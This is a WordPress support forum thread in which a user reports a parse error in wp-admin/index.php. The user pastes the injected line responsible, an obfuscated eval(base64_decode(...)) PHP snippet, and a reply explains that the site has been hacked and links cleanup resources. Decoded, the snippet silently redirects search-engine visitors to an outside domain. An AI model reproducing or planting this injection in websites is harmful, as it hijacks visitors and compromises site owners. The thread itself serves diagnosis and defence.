Title: Parse error: syntax error, unexpected $end on wp-admin/index.php
Last modified: August 21, 2016

---

# Parse error: syntax error, unexpected $end on wp-admin/index.php

 *  [zeichen](https://wordpress.org/support/users/zeichen/)
 * (@zeichen)
 * [12 years, 1 month ago](https://wordpress.org/support/topic/parse-error-syntax-error-unexpected-end-on-wp-adminindexphp/)
 * Good day, I’ve got this error on one of my client’s websites. This is the error
   when I tried to access the wp-admin backend.
 * Parse error: syntax error, unexpected $end in /home/unleash1/public_html/wp-admin/
   index.php on line 139
 * I tried the usual solution of renaming the plugins and themes folders but still
   I get the same result.
 * Can anyone help pls?

Viewing 2 replies - 1 through 2 (of 2 total)

 *  Thread Starter [zeichen](https://wordpress.org/support/users/zeichen/)
 * (@zeichen)
 * [12 years, 1 month ago](https://wordpress.org/support/topic/parse-error-syntax-error-unexpected-end-on-wp-adminindexphp/#post-4781337)
 * the line of error here
 * `<?php eval(base64_decode("ZXJyb3JfcmVwb3J0aW5nKDApOyBpZiAoIWhlYWRlcnNfc2VudCgpKXsgaWYgKGlzc2V0KCRfU0VSVkVSWydIVFRQX1VTRVJfQUdFTlQnXSkpeyBpZiAoaXNzZXQoJF9TRVJWRVJbJ0hUVFBfUkVGRVJFUiddKSl7IGlmICgocHJlZ19tYXRjaCAoIi9NU0lFICg5LjB8MTAuMCkvIiwkX1NFUlZFUlsnSFRUUF9VU0VSX0FHRU5UJ10pKSBvciAocHJlZ19tYXRjaCAoIi9ydjpbMC05XStcLjBcKSBsaWtlIEdlY2tvLyIsJF9TRVJWRVJbJ0hUVFBfVVNFUl9BR0VOVCddKSkgb3IgKHByZWdfbWF0Y2ggKCIvRmlyZWZveFwvKFswLTldK1wuMCkvIiwkX1NFUlZFUlsnSFRUUF9VU0VSX0FHRU5UJ10sJG1hdGNoZikgYW5kICRtYXRjaGZbMV0
   +MTEpKXsgaWYoIXByZWdfbWF0Y2goIi9eNjZcLjI0OVwuLyIsJF9TRVJWRVJbJ1JFTU9URV9BRERSJ10pKXsgaWYgKHN0cmlzdHIoJF9TRVJWRVJbJ0hUVFBfUkVGRVJFUiddLCJ5YWhvby4iKSBvciBzdHJpc3RyKCRfU0VSVkVSWydIVFRQX1JFRkVSRVInXSwiYmluZy4iKSBvciBwcmVnX21hdGNoICgiL2dvb2dsZVwuKC4qPylcL3VybFw/
   c2EvIiwkX1NFUlZFUlsnSFRUUF9SRUZFUkVSJ10pKSB7IGlmICghc3RyaXN0cigkX1NFUlZFUlsnSFRUUF9SRUZFUkVSJ10sImNhY2hlIikgYW5kICFzdHJpc3RyKCRfU0VSVkVSWydIVFRQX1JFRkVSRVInXSwiaW51cmwiKSBhbmQgIXN0cmlzdHIoJF9TRVJWRVJbJ0hUVFBfUkVGRVJFUiddLCJFZVlwM0Q3IikpeyBoZWFkZXIoIkxvY2F0aW9uOiBodHRwOi8vb3Bsc3VvLnJlYmF0ZXNydWxlLm5ldC8iKTsgZXhpdCgpOyB9IH0gfSB9IH0gfSB9"));?
   >`
 *  [catacaustic](https://wordpress.org/support/users/catacaustic/)
 * (@catacaustic)
 * [12 years, 1 month ago](https://wordpress.org/support/topic/parse-error-syntax-error-unexpected-end-on-wp-adminindexphp/#post-4781338)
 * I hate to say it, but your iste has been hacked. That sort of extra code is a
   prefect fingerprint for a successful hack attempt. You should read the following“
   standard” reply for hacked sites.
 * If your site has been hacked, you need to start working your way through these
   resources:
 * [http://codex.wordpress.org/FAQ_My_site_was_hacked](http://codex.wordpress.org/FAQ_My_site_was_hacked)
   
   [http://wordpress.org/support/topic/268083#post-1065779](http://wordpress.org/support/topic/268083#post-1065779)
   [http://smackdown.blogsblogsblogs.com/2008/06/24/how-to-completely-clean-your-hacked-wordpress-installation/](http://smackdown.blogsblogsblogs.com/2008/06/24/how-to-completely-clean-your-hacked-wordpress-installation/)
   [http://ottopress.com/2009/hacked-wordpress-backdoors/](http://ottopress.com/2009/hacked-wordpress-backdoors/)
 * Anything less will probably result in the hacker walking straight back into your
   site again.
 * Additional Resources:
    Hardening WordPress [http://www.unmaskparasites.com/](http://www.unmaskparasites.com/)
   [http://blog.sucuri.net/2012/03/wordpress-understanding-its-true-vulnerability.html](http://blog.sucuri.net/2012/03/wordpress-understanding-its-true-vulnerability.html)

Viewing 2 replies - 1 through 2 (of 2 total)

The topic ‘Parse error: syntax error, unexpected $end on wp-admin/index.php’ is 
closed to new replies.

## Tags

 * [parse-error](https://wordpress.org/support/topic-tag/parse-error/)

 * In: [Fixing WordPress](https://wordpress.org/support/forum/how-to-and-troubleshooting/)
 * 2 replies
 * 2 participants
 * Last reply from: [catacaustic](https://wordpress.org/support/users/catacaustic/)
 * Last activity: [12 years, 1 month ago](https://wordpress.org/support/topic/parse-error-syntax-error-unexpected-end-on-wp-adminindexphp/#post-4781338)
 * Status: not resolved

## Topics

### Topics with no replies

### Non-support topics

### Resolved topics

### Unresolved topics

### All topics
